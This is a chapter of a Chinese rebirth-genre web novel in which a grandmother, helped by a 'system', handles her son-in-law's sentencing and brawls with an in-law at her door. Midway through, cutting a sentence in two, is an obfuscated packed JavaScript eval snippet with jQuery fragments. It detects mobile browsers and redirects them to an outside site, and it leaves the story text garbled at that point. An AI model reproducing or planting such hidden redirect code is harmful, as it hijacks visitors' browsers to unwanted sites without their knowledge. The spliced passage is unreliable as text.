重活一世,张桂芬明白了,希望这种东西,只有放在自己身上的时候才不会失望。
因为即便办不到,自己也会给自己找理由。
想起往事,张桂英突然发觉,原来自己并不是一直都是老太太,年轻的时候也曾怀揣过奋斗。
“咳咳咳,谋害丈夫可不算什么奋斗。”张三适时提醒道。
被这番话打击,张桂芬并不失落,她眯着眼睛夸赞道:“三儿啊,幸亏今天你机智,事先扫描到邻居家有警察,不然我还真不知道该怎么处理这件事。也幸好你仓库里有合法的**,不然我今天就要在局子里过了。”
“这都是小问题。”张三不无得意地道:“我跟你说了,只要你需要,没有我办不到的。”
“你说强子这下够不够判个**。”
张三查阅了一番资料,给了张桂芬一个肯定的答复。
这个答案对张桂芬来说很满意,因为强子被判了**,大兰也算是彻底解脱了。
也许这样想有些残忍,但对于普通人来说,身边的坏人早点死掉就是命运最好的安排。
只是大兰还有一个麻烦,张桂芬不知道该怎么处理。
那就是她的好大儿,张桂芬唯一的外孙小亮。
前世,这个外孙小亮从小在父亲的熏陶下,把他爹的那点坑蒙拐骗的手艺学得**不离十。只不过他没有用在拐卖妇女儿童上,而是用在了骗小姑娘身上。
自打初中毕业,小亮就往家招惹小姑娘,一直到张桂芬瘫痪卧床前,小亮也没消停下来。
前世的张桂芬都怀疑,小亮是不是花痴投胎的。
招惹小姑娘是需要花销的,小亮一个没有工作的人就只能啃老,而家里就只有大兰一个人打零工,却要给一家人当血包。
此时的小亮已经十岁了,虽说年纪还小,一切还未定型。
但张桂芬总觉得基因是改变不了的,他出生的时候就决定了他是什么玩意儿。
所以,在处理完强子后,张桂芬很想让大兰舍弃了小亮。
当然,不是完全不管他了。毕竟小亮已经没有爹了,也没有奶奶了,只有大兰这个妈了。
但大兰要从心理上舍弃这个孩子,就是只尽母亲该尽的责任,长大以后就不管了。
不然养一个吸血鬼在身边,将来还是会后患无穷。
只是,这个决定不是张桂芬能下的,也不能是张桂芬张嘴说的。
有些道理,需要当事人自己去领悟才行。
而张桂芬就是大兰开悟的领路人。
可惜,她这个领路人还没开始指引方向呢,就有人来给她添堵了。
天刚蒙蒙亮,张桂芬感觉自己刚进入睡眠模式就被吵醒了。
“张桂芬,你浪嘴头子的娘们,给我出来!”
一声尖锐的爆鸣在张桂芬的耳朵炸响,紧接着就是一阵敲鼓般的砸门声。
大兰也被吵醒,她睁开眼睛一时有些发懵,好半天才翻身做起来,看了看周围的环境,又看了看躺在身边的娘,一时难以置信。
“娘,咱们昨晚就睡在这里的?”大兰起身下床,“你咋搬到这里来住了,外面的声音好像二弟的丈母娘,咋回事儿啊。”
不用大兰提醒,张桂芬也知道外面是老二家的丈母娘。
前世,这个老东西哄着闺女拿家里的东西贴补娘家,张桂芬和她干过几次架,当然能听出她的声音。
“我跟你三个弟弟分家了,我分到了这个小屋。”张桂芬一边眯着眼睛穿衣服,一边趁大兰不注意,吃上一颗从仓库里拿的营养药。
昨天几乎忙了一天,只睡了四个小时,打开门就有一场硬仗要打,当然得先保证体力。
张桂芬收拾停当,在开门之前交代道:“你还没出月子,在屋子里呆着别出去了。桌子上有红糖和鸡蛋,你先垫吧垫吧。娘去会会那个老泼妇去。记住啊,不管外面闹多大,你都不要出来,免得影响我发挥。”
门外照例除了儿媳妇娟子的娘,还有她三个牛犊一样的弟弟。
按照前世惯例,这一帮人给娟子出气的流程是由娟子娘先出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169921|196824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言不逊,待张桂芬反击后,娟子三个牛犊子一样的弟弟开始打老二传武。
打了传武,张桂芬自然心疼的败下阵来了,就得答应娟子娘提出的条件了。
可惜,张桂芬已经不是前世那个只会心疼儿子的她了。
所以,她有信心打赢今天这场仗、不过她不准备硬碰硬,而是准备使点阴招。
她刚露头,娟子娘就拿出露头就秒的架势,上前一步,指着张桂芬骂道:“张桂芬,你个浪嘴碴子,有你这样的婆婆吗,还编排而儿媳的黄瑶?”
张桂芬抹了一下脸,嫌弃的道:“你早上刷牙了吗。喷我一脸口水,臭啊!”
这年头农村老太太还没有刷牙的习惯,甚至连刷牙都很嫌弃,觉得那是穷烧包。
所以张桂芬的这句刷牙的问候对娟子娘来说没有多少杀伤力,但那个臭字就有些伤人了。
“你说谁嘴臭呢,你看我不撕烂你的笔嘴!”
娟子娘仗着自己带来了三个儿子撑腰,伸手就要打张桂芬。
张桂芬也是个争气,不等娟子娘的手伸到她脸上,她就主动倒下了。
为了软着路,张桂芬倒在了墙根前的柴火垛上。
“不得了啊,外村的人欺负到咱们村了,一进村就**啊。”
张桂芬靠在柴火垛上,一边喊一边挑衅的看着娟子娘,就看对方怎么接招。
她的这间茅草屋位于村子的最南头,隔着一个大水坑就是马路,平时村子里出门的,上学的都要走这条路。
此时路上有村民路过,对面大马路上熙熙攘攘的也有行人。被张桂芬这么一叫唤,大家都停下脚步凑过来看热闹。
娟子娘也不是那个要脸面的,见张桂芬给她来这一招,恶狠狠的道:“我还没招你呢,你就说我打你。那好,我今天就打你了!”
说着,伸手就要朝张桂芬的脸上招呼。
张桂芬反手就捏住了娟子娘的手,顺势将她拽倒,翻身压在了娟子娘身上,趁着娟子娘没反应过来,照着她的脸就是左右开弓。